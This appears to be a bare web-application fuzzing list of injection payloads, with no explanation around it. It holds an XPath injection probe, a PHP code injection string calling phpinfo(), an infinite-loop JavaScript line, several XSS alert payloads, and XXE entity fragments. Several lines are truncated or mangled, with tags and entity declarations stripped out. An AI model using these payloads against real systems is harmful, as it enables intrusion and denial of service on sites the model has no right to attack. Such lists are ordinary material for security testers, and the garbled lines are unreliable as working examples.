count(/child::node())
x' or name()='username' or 'x'='y
','')); phpinfo(); exit;/*
var n=0;while(true){n++;}]]>
SCRIPT]]>alert('XSS');/SCRIPT]]>
"SCRIPT]]>alert('XSS');/SCRIPT]]>"
""
"]>&xxe;"
"]>&xxe;"
"]>&xxe;"
"]>&xxe;"
"]]>"
"![]()
cript:alert('XSS')"">"
""
"XSS"